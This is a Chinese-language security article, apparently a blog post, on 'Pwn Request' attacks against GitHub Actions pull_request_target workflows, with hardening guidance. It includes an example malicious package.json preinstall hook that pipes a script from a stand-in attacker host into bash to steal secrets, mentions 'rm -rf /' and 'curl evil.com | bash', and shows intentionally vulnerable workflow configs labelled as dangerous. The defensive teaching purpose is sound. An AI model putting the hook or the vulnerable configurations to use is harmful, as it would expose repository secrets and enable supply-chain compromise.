
1. 项目概述当“信任”成为攻击面如果你在团队里负责CI/CD流水线或者经常在GitHub上维护开源项目那你对pull_request_target这个事件一定不陌生。它被设计出来本意是解决一个很实际的痛点当一个来自外部贡献者Fork仓库的Pull RequestPR被创建时如何让这个PR触发的工作流能够安全地访问到主仓库Base Repository的敏感信息比如仓库密钥Secrets、环境变量或者执行一些需要高权限的操作如发布到包管理器。听起来很美好对吧给受信任的工作流脚本更高的权限让它能替我们完成一些自动化任务。但安全领域有句老话权限越大责任越大攻击面也越大。pull_request_target事件的工作流恰恰运行在一个“高信任”的上下文中——它使用主仓库的代码、主仓库的密钥、主仓库的写入权限来执行一个由外部贡献者可能包含恶意代码触发的工作流。这就引出了一个被称为“Pwn Request”的攻击模式。攻击者不需要你的仓库有任何漏洞他们只需要你配置了一个使用pull_request_target的工作流并且这个工作流在运行时会去执行来自PR分支即攻击者Fork的代码中的某些脚本。一旦条件满足攻击者就能在你的仓库上下文里“为所欲为”窃取密钥、污染发布流程甚至直接向你的代码库注入恶意代码。我最近在审查和加固多个项目的CI/CD配置时发现这个问题依然非常普遍很多开发者对这个风险的认识还停留在“知道有风险”的层面并不清楚具体的攻击路径和加固方法。所以我觉得有必要结合最新的社区讨论和实际案例把这个问题掰开揉碎了讲清楚。2. 核心风险解析pull_request_target的工作机制与攻击路径要理解风险必须先理解机制。我们得先看看在普通的PR和pull_request_targetPR下GitHub Actions工作流的运行环境到底有什么根本不同。2.1 标准pull_request事件的安全沙箱当一个普通的PR被创建或更新时触发的工作流使用on: pull_request运行在一个严格限制的沙箱环境中代码上下文工作流执行的代码.github/workflows/下的YAML文件来自于PR的源分支即贡献者Fork出来的那个分支。这意味着如果贡献者在工作流文件中动了手脚你运行的就是他提供的脚本。权限上下文工作流运行时默认只有只读权限。它无法直接推送代码回仓库也无法访问仓库设置的Secrets。这是一个关键的安全边界。即使工作流YAML被恶意修改攻击者也无法直接窃取密钥。触发逻辑任何对PR的更新推送代码、同步分支都会触发。这种设计保证了基础安全来自不可信源的代码只能在低权限环境中运行。但这也带来了限制比如你无法在一个来自Fork的PR中运行一个需要密钥才能完成的“自动化测试部署预览”任务。2.2pull_request_target事件的“特权”模式pull_request_target事件就是为了打破上述限制而生的但它打破的方式非常特别代码上下文这是最核心、也最危险的一点。工作流执行的代码.github/workflows/下的YAML文件来自于主仓库的默认分支通常是main或master而不是PR的源分支。这意味着工作流YAML本身是受你控制的、可信的。权限上下文工作流运行时拥有主仓库的写入权限并且可以访问主仓库的所有Secrets。它运行在一个被高度信任的环境里。触发逻辑同样由PR的创建或更新触发。工作目录工作流的初始工作目录是主仓库的代码。但是GitHub Actions提供了一个名为github.event.pull_request.head.sha的上下文变量它指向PR源分支的最新提交。很多工作流会使用actions/checkout动作来检出这个提交的代码到工作目录。风险就潜伏在第4步。工作流YAML是可信的但它里面定义的步骤Steps可能会去执行来自PR分支的代码。常见的模式包括运行npm install或pip install -r requirements.txt而package.json或requirements.txt被恶意修改。执行项目根目录下的自定义脚本如./scripts/test.sh而这个脚本在PR中被替换。运行make、gradle等构建工具其构建脚本可能被劫持。注意这里有一个巨大的认知误区。很多人认为“既然工作流YAML来自主仓库那就安全了”。错安全与否取决于YAML里具体写了什么命令。如果YAML里写了一句run: bash ./build.sh而build.sh这个文件是从PR分支检出的那么你就是在用高权限执行不可信的代码。2.3 Pwn Request攻击链拆解让我们模拟一次完整的攻击过程假设你有一个开源项目awesome-project侦察阶段攻击者Fork了你的awesome-project仓库。他查看.github/workflows/目录发现有一个ci.yml使用了on: pull_request_target事件并且其中有一个步骤是这样的- name: Run tests run: | npm ci npm test武器化阶段攻击者在他的Fork仓库中修改了package.json文件。他在scripts部分添加了一个preinstall钩子{ scripts: { preinstall: curl -s http://malicious-server.com/steal-secrets.sh | bash } }这个脚本一旦执行可以利用当前工作流的高权限环境读取GITHUB_TOKEN或其他Secrets并外传到攻击者的服务器。投递阶段攻击者从他的Fork仓库向你的主仓库发起一个Pull Request。这个PR可能看起来人畜无害只是修改了一个错别字。触发与执行阶段PR创建触发了pull_request_target工作流。工作流YAML从你的主仓库main分支加载是安全的。它执行到npm ci这一步。npm ci会读取当前目录已检出攻击者PR代码下的package.json并执行其中定义的preinstall脚本。攻击达成preinstall脚本以主仓库的高权限身份执行成功窃取了密钥。攻击者甚至可以利用GITHUB_TOKEN的写入权限直接向你的main分支提交恶意代码。整个过程中攻击者没有触碰你的工作流文件他只是提交了一个修改了项目依赖配置或脚本的PR。而你的“可信”工作流亲手执行了恶意代码。3. 安全加固实战从配置到文化的防御体系知道了风险所在我们就可以有针对性地进行加固。防御不是简单地禁用pull_request_target而是安全地使用它。以下是我在实践中总结出的多层次防御策略。3.1 第一道防线最小化与隔离这是最根本的原则永远不要在高权限上下文中直接执行或评估来自PR分支的代码。1. 显式检出显式信任使用actions/checkout时如果你必须检出PR的代码请使用ref参数明确指定并考虑使用persist-credentials: false。更重要的是后续步骤如果涉及运行脚本必须进行严格的来源检查。- uses: actions/checkoutv4 with: # 明确检出PR的代码 ref: ${{ github.event.pull_request.head.sha }} # 不持久化PR作者的凭证使用当前GITHUB_TOKEN persist-credentials: false2. 环境隔离与沙箱化对于必须执行外部代码的场景如运行测试应将其放入隔离的环境。使用容器在job中定义container将执行环境隔离在容器内。限制容器网络访问--network none在本地Runner可行GitHub托管Runner限制较多。使用干净Runner对于敏感项目考虑使用自托管的Runner并在每次任务后彻底清理环境。但自托管Runner的管理本身就有安全负担需谨慎。3. 密钥访问的二次验证不要轻易将密钥暴露给pull_request_target工作流。如果工作流只是为了完成某个需要密钥的任务如评论PR可以考虑使用GitHub App创建一个专有的GitHub App为其生成安装令牌该令牌权限被严格限定如仅可评论Issue/PR。在工作流中动态获取此令牌而非使用宽泛的仓库密钥。条件化注入Secrets利用环境的审批规则或if条件仅当PR来自可信用户如合作者或特定分支时才注入敏感Secret。- name: Deploy to Staging if: github.event.pull_request.user.login trusted-maintainer run: | # 此步骤只有可信维护者的PR才会运行此时使用Secret相对安全 echo ${{ secrets.STAGING_API_KEY }} | some-deploy-command env: STAGING_API_KEY: ${{ secrets.STAGING_API_KEY }}3.2 第二道防线静态分析与自动化检查人总会犯错需要用工具来建立护栏。1. 使用官方安全扫描工具GitHub Code Scanning / Advanced Security启用后它可以识别工作流中潜在的不安全模式例如在pull_request_target中执行run步骤时引用了来自PR的上下文。第三方静态分析工具step-security/harden-runner这是一个GitHub Action它在作业开始时运行可以加强Runner的安全配置例如禁用不必要的服务、设置防火墙规则等。虽然不直接针对pull_request_target但能提升整体运行时安全。ossf/scorecardOpenSSF Scorecard项目可以自动评估仓库的安全健康状况其中就包括“危险工作流”的检查项。2. 在CI中集成安全检查在你的CI流水线中添加一个专门的安全检查Job使用像aquasecurity/trivy这样的工具扫描仓库包括工作流文件。name: Security Scan on: [push, pull_request] jobs: scan-workflows: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 - name: Scan GitHub Actions for vulnerabilities uses: aquasecurity/trivy-actionmaster with: scan-type: config scan-ref: .github/workflows format: sarif output: trivy-results.sarif - name: Upload result to GitHub Security tab uses: github/codeql-action/upload-sarifv3 with: sarif_file: trivy-results.sarif这个Job会在每次推送或PR时运行使用Trivy扫描.github/workflows目录下的文件并将结果上传到仓库的Security选项卡帮助发现危险的配置模式。3.3 第三道防线设计安全的自动化模式很多时候我们使用pull_request_target是为了实现自动化。我们需要用更安全的模式来重构这些自动化。1. 标签/评论触发替代方案很多场景下我们并非需要对所有PR自动执行高权限操作。例如只为某些PR运行集成测试或部署预览。可以改为使用issue_comment或pull_request_review_comment事件当维护者评论特定指令如/deploy-preview时触发一个运行在主仓库上下文的工作流。这个工作流是由可信的维护者主动触发的而非自动由PR代码触发安全性更高。on: issue_comment: types: [created] jobs: deploy-preview: if: github.event.issue.pull_request contains(github.event.comment.body, /deploy-preview) runs-on: ubuntu-latest permissions: contents: write steps: # 此时执行高权限操作风险可控2. 拆分工作流权限分离将单一的高权限工作流拆分成两个协同工作的流流A低权限on: pull_request运行在PR沙箱中执行代码检查、单元测试等不需要密钥的任务。任务完成后可通过API调用或发布一个“需要审批”的事件。流B高权限on: workflow_run或repository_dispatch监听流A完成的事件或由流A通过repository_dispatch触发。流B运行在主仓库上下文执行部署、发布等敏感操作。它可以通过API获取流A的制品如测试报告但绝不直接执行PR分支的代码。这种模式实现了关注点分离和安全边界是当前社区推荐的最佳实践之一。3.4 第四道防线团队规范与代码审查技术手段之上必须辅以流程和文化。1. 建立工作流代码审查清单在团队中推行一个针对.github/workflows/*.yml的强制审查清单审查者必须逐一核对[ ] 是否使用了pull_request_target如果是理由是否充分[ ]pull_request_target工作流中是否有任何run步骤会执行从PR分支检出的代码如运行./*.sh,npm run,python setup.py[ ] 是否使用了actions/checkout检出了${{ github.event.pull_request.head.sha }}[ ] 所有使用的Secrets是否都是该工作流所必需的最小权限集合[ ] 是否考虑了使用if条件限制来自Fork的PR的敏感操作2. 定期审计与模拟攻击每隔一个季度对仓库内所有工作流进行一次安全审计。可以尝试进行“无害”的模拟攻击创建一个测试Fork修改一个脚本使其仅输出当前环境变量名不泄露值然后提交PR观察pull_request_target工作流的行为验证你的防御是否有效。3. 善用pull_request_target的只读令牌从2023年年中开始GitHub为pull_request_target引入了更细粒度的权限控制。你可以在工作流中显式声明所需的权限为来自Fork的PR请求只读权限。on: pull_request_target: types: [opened, synchronize, reopened] permissions: contents: read # 对于来自Fork的PR仅授予读权限 pull-requests: write # 但允许写入PR如添加评论 jobs: build: if: github.event.pull_request.head.repo.fork # 明确判断是Fork runs-on: ubuntu-latest steps: # 此时即使工作流被触发GITHUB_TOKEN也只有读权限无法推送或访问Secrets除非显式授予这是一个非常重要的安全特性它允许你安全地使用pull_request_target来为Fork的PR添加标签、写评论而无需担心密钥泄露。4. 典型案例复盘与配置重构让我们看两个常见的、易出问题的模式并给出安全的重构方案。4.1 危险模式自动运行测试并发布覆盖率报告原始危险配置name: Coverage on: [pull_request_target] jobs: coverage: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 with: ref: ${{ github.event.pull_request.head.sha }} # 检出攻击者代码 - run: npm ci # 执行攻击者package.json中的脚本 - run: npm test -- --coverage - name: Upload coverage uses: codecov/codecov-actionv3 with: token: ${{ secrets.CODECOV_TOKEN }} # 使用高权限Secret风险npm ci会执行package.json中定义的任何preinstall、install、postinstall脚本这些脚本在攻击者的控制之下。安全重构方案方案一使用pull_request事件并通过repository_dispatch触发后续操作。# .github/workflows/test-and-coverage.yml name: Test and Report on: pull_request: # 低权限环境运行测试 workflow_dispatch: jobs: run-tests: runs-on: ubuntu-latest permissions: contents: read steps: - uses: actions/checkoutv4 - run: npm ci - run: npm test -- --coverage - name: Upload test artifact uses: actions/upload-artifactv4 with: name: coverage-report path: ./coverage - name: Request Coverage Processing if: github.event_name pull_request # 仅PR触发时才请求 uses: peter-evans/repository-dispatchv2 with: token: ${{ secrets.PAT }} # 使用一个权限受限的Personal Access Token event-type: process-coverage client-payload: {pr_number: ${{ github.event.pull_request.number }}, sha: ${{ github.event.pull_request.head.sha }}} # .github/workflows/process-coverage.yml name: Process Coverage on: repository_dispatch: types: [process-coverage] jobs: upload-coverage: runs-on: ubuntu-latest permissions: contents: write pull-requests: write steps: - uses: actions/checkoutv4 - name: Download artifact uses: actions/download-artifactv4 with: name: coverage-report run-id: ${{ github.event.client_payload.workflow_run_id }} # 需要额外传递run-id github-token: ${{ secrets.GITHUB_TOKEN }} - name: Upload to Codecov uses: codecov/codecov-actionv3 with: token: ${{ secrets.CODECOV_TOKEN }} # 高权限操作在此安全进行方案二如果坚持使用pull_request_target必须严格隔离。name: Safe Coverage with pull_request_target on: [pull_request_target] jobs: coverage: runs-on: ubuntu-latest permissions: contents: read steps: - name: Checkout PR code (SANDBOXED) uses: actions/checkoutv4 with: ref: ${{ github.event.pull_request.head.sha }} path: ./pr-code # 检出到子目录 - name: Run tests in isolated container uses: docker://node:18-alpine with: entrypoint: /bin/sh args: -c | cd /github/workspace/pr-code # 在容器内运行限制网络注意GitHub托管Runner上容器默认有网络。 # 使用 --ignore-scripts 避免执行package.json中的钩子 npm ci --ignore-scripts npm test -- --coverage # 将覆盖率报告输出到共享目录 cp -r coverage /github/workspace/ - name: Process and Upload Coverage run: | # 此时工作目录是主仓库可以安全使用Secrets # 处理 ./coverage 目录下的报告 echo ${{ secrets.CODECOV_TOKEN }} token.txt # 使用codecov上传工具... env: CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}4.2 危险模式自动构建并评论Docker镜像链接原始危险配置name: Build Preview on: [pull_request_target] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 with: ref: ${{ github.event.pull_request.head.sha }} - name: Build Docker image run: | docker build -t myapp:${{ github.sha }} . # 假设这里会上传到镜像仓库并生成一个预览链接 echo 预览链接: https://preview.example.com/${{ github.sha }} - name: Comment on PR uses: actions/github-scriptv7 with: script: | github.rest.issues.createComment({ issue_number: context.issue.number, owner: context.repo.owner, repo: context.repo.repo, body: 镜像已构建: https://preview.example.com/${{ github.sha }} })风险docker build .会执行当前目录攻击者代码下的Dockerfile。恶意的Dockerfile可以在构建过程中运行任意命令窃取构建时的环境变量和Secrets。安全重构方案使用“构建配置与构建执行分离”的模式。将Dockerfile等构建指令视为可信配置放在主仓库将源代码视为输入。name: Safe Build Preview on: pull_request_target: types: [labeled] # 仅当PR被打上 preview 标签时触发 jobs: build: if: contains(github.event.pull_request.labels.*.name, preview) runs-on: ubuntu-latest permissions: contents: read packages: write steps: - name: Checkout trusted Dockerfile and scripts uses: actions/checkoutv4 with: path: ./trusted-config - name: Checkout PR source code (Read-only) uses: actions/checkoutv4 with: ref: ${{ github.event.pull_request.head.sha }} path: ./src persist-credentials: false - name: Build using trusted Dockerfile run: | # 使用主仓库的Dockerfile将PR代码作为构建上下文 docker build \ -f ./trusted-config/Dockerfile.preview \ # 使用可信的Dockerfile --build-arg SOURCE_DIR./src \ # 将源代码作为参数传入 -t myapp:${{ github.sha }} . # 后续推送镜像、生成链接... - name: Comment on PR # ... 评论步骤在这个方案中Dockerfile.preview完全由主仓库控制它定义了安全的构建步骤。PR中的源代码只是作为构建上下文的一个目录被传入通过--build-arg或复制操作无法影响构建过程的执行逻辑。5. 常见陷阱与排查清单即使了解了原理和最佳实践在实际配置和审查中一些细微的陷阱仍然可能导致漏洞。以下是我从实际审计经验中总结出的高频问题点。5.1 隐蔽的代码执行路径除了明显的run: ./script.sh还有很多隐蔽的路径会执行代码actions/checkout的fetch-depth虽然不直接执行代码但获取完整历史可能被用于其他攻击。Git子模块Submodules如果工作流使用了submodules: true它会递归检出子模块。子模块的仓库URL和提交哈希可以被PR修改指向恶意仓库。依赖安装工具npm、yarn、pip、bundle、go mod等所有包管理器其配置文件package.json,requirements.txt,Gemfile,go.mod中定义的依赖、脚本钩子preinstall,postinstall、自定义命令都是攻击面。构建工具和任务运行器make、gradle、maven、rake、gulp等会读取项目目录下的构建脚本Makefile,build.gradle,pom.xml,Rakefile,gulpfile.js。IDE配置或代码质量工具有些工具会读取项目中的配置文件并执行插件或脚本例如某些.vscode/下的任务配置、pre-commit钩子等。排查清单[ ] 工作流中是否使用了actions/checkout检出来自PR的代码 (ref: ${{ github.event.pull_request.head.sha }})[ ] 检出后是否直接运行了npm install/yarn/pip install/go mod tidy等命令[ ] 是否运行了make、./gradlew、mvn、rake等构建命令[ ] 是否运行了项目根目录或脚本目录下的任何自定义Shell脚本如./scripts/*.sh[ ]actions/checkout是否配置了submodules: true或fetch-depth: 05.2 环境变量与上下文信息的泄露即使恶意代码不能直接拿到secrets.XXX它也可能通过环境变量泄露敏感信息。GITHUB_TOKEN的默认权限在pull_request_target中默认的GITHUB_TOKEN拥有仓库的写入权限。如果恶意脚本通过env命令或打印日志的方式泄露了它攻击者就能获得一个短期有效的、有写入权限的令牌。其他注入的环境变量工作流中通过env设置的变量或者通过::set-output旧版或环境文件设置的操作输出都可能被后续步骤中运行的恶意代码读取。加固措施始终为GITHUB_TOKEN显式设置最小必要权限。permissions: contents: read # 对于来自Fork的PR最好只是read pull-requests: write # 如果需要评论单独赋予避免在可能执行不可信代码的步骤之前将敏感信息设置为普通环境变量。考虑使用GitHub Actions的Masked Secrets特性但注意一旦Secret被打印到日志中它会被自动屏蔽但如果被脚本以其他方式如通过HTTP发送外泄则无法防护。使用run步骤时对于包含Secret的命令使用env块传入而不是直接拼接在命令字符串里。# 不安全 - run: echo ${{ secrets.MY_SECRET }} | some-command # 相对安全值会被隐藏但若some-command恶意仍可获取 - run: some-command env: MY_SECRET: ${{ secrets.MY_SECRET }}5.3 依赖缓存Cache Action的污染为了提高构建速度我们常使用actions/cache。如果缓存键key包含了来自PR分支的内容如${{ hashFiles(**/package-lock.json) }}那么攻击者可以通过提交一个精心构造的package-lock.json文件来“毒化”缓存。当下一个合法的PR触发构建并使用同一个缓存键时就会加载被污染的依赖可能导致供应链攻击。安全建议对于来自Fork的PR考虑禁用缓存或者使用一个包含github.event.pull_request.head.sha的、唯一性更强的缓存键确保缓存不会被跨PR共享。对于主分支的构建可以使用缓存对于PR的构建尤其是来自Fork的则使用npm ci --no-cache或类似的选项。5.4 第三方Action的安全风险你使用的第三方Action本身也可能成为攻击载体。如果Action的代码不安全或者你使用了不可信的Action版本如some-actionmaster指向了被篡改的最新提交那么即使你的工作流YAML是安全的风险也会通过Action引入。最佳实践固定Action的完整提交SHA而不是标签如v1或分支如master。标签可以被移动分支可以被更新而SHA是唯一的。# 好 - uses: actions/checkout8ade135a41bc03eaac7d3afecbde7d0f3c72c7d8 # v4.1.0 # 有风险 - uses: actions/checkoutv4 # 风险极高 - uses: actions/checkoutmaster使用官方或知名社区验证的Action。在GitHub Marketplace上查看Action的流行度、星标数和最近更新情况。审查你使用的第三方Action的源代码特别是当它需要较高权限write或secrets时。检查它是否包含pull_request_target相关的风险代码。配置pull_request_target工作流就像在自动化与安全之间走钢丝。它的设计初衷是解决一个现实问题但也因此创造了一个独特的、高价值的攻击面。Pwn Request攻击之所以危险在于它利用了维护者对自动化工作流的信任以及“代码来自主仓库即安全”的思维定式。从我处理过的案例来看最有效的防御是思维的转变将来自Fork的PR中的所有内容包括配置文件、依赖声明、脚本都视为潜在敌意的。在这个前提下再去设计你的自动化流程。优先采用权限分离、手动触发、环境隔离等更安全的模式。如果必须使用pull_request_target那么请像对待生产环境部署脚本一样严格审查其中的每一个命令问自己“如果这一行命令被替换成rm -rf /或者curl evil.com | bash我的仓库会怎么样”安全是一个过程而不是一个状态。定期用我上面提到的清单审计你的工作流在团队中建立代码审查文化并关注GitHub官方安全公告和最佳实践的更新。毕竟在开源协作的世界里效率的提升绝不能以安全性的丧失为代价。